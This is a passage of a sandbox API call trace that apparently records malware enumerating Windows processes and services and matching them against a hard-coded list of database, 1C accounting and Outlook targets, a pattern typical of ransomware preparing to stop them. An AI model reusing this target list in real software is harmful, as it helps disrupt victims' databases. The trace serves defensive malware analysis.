lpString2="TrkWks") returned -1 [0269.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0269.619] lstrlenW (lpString="UxSms") returned 5 [0269.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0269.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0269.619] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0269.619] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0269.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0269.619] lstrlenW (lpString="WdiServiceHost") returned 14 [0269.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0269.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0269.619] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0269.620] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0269.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0269.620] lstrlenW (lpString="WdiSystemHost") returned 13 [0269.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0269.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0269.620] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0269.620] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0269.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0269.620] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0269.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0269.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0269.620] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0269.620] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0269.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0269.620] lstrlenW (lpString="Winmgmt") returned 7 [0269.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0269.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0269.620] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0269.620] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0269.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0269.620] lstrlenW (lpString="WPDBusEnum") returned 10 [0269.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0269.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0269.620] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0269.620] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0269.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0269.620] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4c90058 | out: hHeap=0x540000) returned 1 [0269.620] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3ec [0269.621] Process32FirstW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.621] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0269.621] lstrlenW (lpString="System") returned 6 [0269.622] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0269.622] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0269.622] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0269.622] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0269.622] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0269.622] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0269.622] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0269.622] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0269.622] lstrlenW (lpString="smss.exe") returned 8 [0269.622] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0269.622] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0269.622] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0269.622] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0269.622] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0269.622] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0269.622] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0269.622] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.622] lstrlenW (lpString="csrss.exe") returned 9 [0269.622] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0269.622] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0269.622] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0269.622] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0269.622] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0269.623] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0269.623] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0269.623] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0269.623] lstrlenW (lpString="wininit.exe") returned 11 [0269.623] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0269.623] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0269.623] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0269.623] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0269.623] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0269.623] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0269.623] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0269.623] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.623] lstrlenW (lpString="csrss.exe") returned 9 [0269.623] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0269.623] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0269.624] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0269.624] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0269.624] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0269.624] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0269.624] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0269.624] lstrlenW (lpString="winlogon.exe") returned 12 [0269.624] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0269.624] lstrlenW (lpString="services.exe") returned 12 [0269.624] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0269.624] lstrlenW (lpString="lsass.exe") returned 9 [0269.625] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0269.625] lstrlenW (lpString="lsm.exe") returned 7 [0269.625] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.625] lstrlenW (lpString="svchost.exe") returned 11 [0269.625] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.625] lstrlenW (lpString="svchost.exe") returned 11 [0269.625] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.625] lstrlenW (lpString="svchost.exe") returned 11 [0269.625] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.626] lstrlenW (lpString="svchost.exe") returned 11 [0269.626] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.626] lstrlenW (lpString="svchost.exe") returned 11 [0269.626] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0269.626] lstrlenW (lpString="audiodg.exe") returned 11 [0269.626] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.626] lstrlenW (lpString="svchost.exe") returned 11 [0269.626] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.627] lstrlenW (lpString="svchost.exe") returned 11 [0269.627] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0269.627] lstrlenW (lpString="userinit.exe") returned 12 [0269.627] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0269.627] lstrlenW (lpString="dwm.exe") returned 7 [0269.627] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0269.628] lstrlenW (lpString="explorer.exe") returned 12 [0269.628] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0269.628] lstrlenW (lpString="spoolsv.exe") returned 11 [0269.628] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0269.628] lstrlenW (lpString="taskhost.exe") returned 12 [0269.628] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.628] lstrlenW (lpString="svchost.exe") returned 11 [0269.629] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0269.629] lstrlenW (lpString="chrome64b.exe") returned 13 [0269.629] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0269.629] lstrlenW (lpString="reader_sl.exe") returned 13 [0269.629] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0269.629] lstrlenW (lpString="taskhost.exe") returned 12 [0269.629] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0269.629] lstrlenW (lpString="consent.exe") returned 11 [0269.630] Process32NextW (in: hSnapshot=0x3ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0269.630] CloseHandle (hObject=0x3ec) returned 1 [0269.630] Sleep (dwMilliseconds=0x1f4) [0270.526] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4623720 [0270.527] EnumServicesStatusExW (in: hSCManager=0x4623720, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0270.527] GetLastError () returned 0xea [0270.527] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x11e4) returned 0x46151a8 [0270.527] EnumServicesStatusExW (in: hSCManager=0x4623720, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x46151a8, cbBufSize=0x11e4, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x46151a8, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0270.527] CloseServiceHandle (hSCObject=0x4623720) returned 1 [0270.527] lstrlenW (lpString="Appinfo") returned 7 [0270.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0270.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0270.528] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0270.528] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0270.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0270.528] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0270.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0270.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0270.528] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0270.528] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0270.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0270.528] lstrlenW (lpString="AudioSrv") returned 8 [0270.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0270.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0270.528] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0270.528] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0270.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0270.528] lstrlenW (lpString="BFE") returned 3 [0270.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0270.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0270.528] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0270.528] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0270.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0270.528] lstrlenW (lpString="CryptSvc") returned 8 [0270.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0270.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0270.627] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0270.627] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0270.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0270.627] lstrlenW (lpString="CscService") returned 10 [0270.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0270.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0270.627] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0270.627] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0270.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0270.627] lstrlenW (lpString="DcomLaunch") returned 10 [0270.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0270.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0270.627] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0270.627] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0270.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0270.627] lstrlenW (lpString="Dhcp") returned 4 [0270.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0270.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0270.627] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0270.627] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0270.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0270.627] lstrlenW (lpString="Dnscache") returned 8 [0270.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0270.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0270.628] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0270.628] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0270.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0270.628] lstrlenW (lpString="DPS") returned 3 [0270.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0270.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0270.628] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0270.628] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0270.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0270.628] lstrlenW (lpString="eventlog") returned 8 [0270.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0270.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0270.628] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0270.628] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0270.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0270.628] lstrlenW (lpString="EventSystem") returned 11 [0270.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0270.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0270.628] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0270.628] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0270.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0270.628] lstrlenW (lpString="gpsvc") returned 5 [0270.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0270.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0270.628] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0270.628] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0270.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0270.628] lstrlenW (lpString="iphlpsvc") returned 8 [0270.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0270.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0270.628] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0270.628] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0270.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0270.628] lstrlenW (lpString="LanmanServer") returned 12 [0270.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0270.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0270.629] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0270.629] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0270.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0270.629] lstrlenW (lpString="LanmanWorkstation") returned 17 [0270.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0270.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0270.629] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0270.629] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0270.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0270.629] lstrlenW (lpString="lmhosts") returned 7 [0270.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0270.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0270.629] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0270.629] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0270.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0270.629] lstrlenW (lpString="MMCSS") returned 5 [0270.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0270.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0270.629] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0270.629] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0270.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0270.629] lstrlenW (lpString="MpsSvc") returned 6 [0270.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0270.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0270.629] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0270.629] lstrcmpiW (lpString1="mssqlserver", 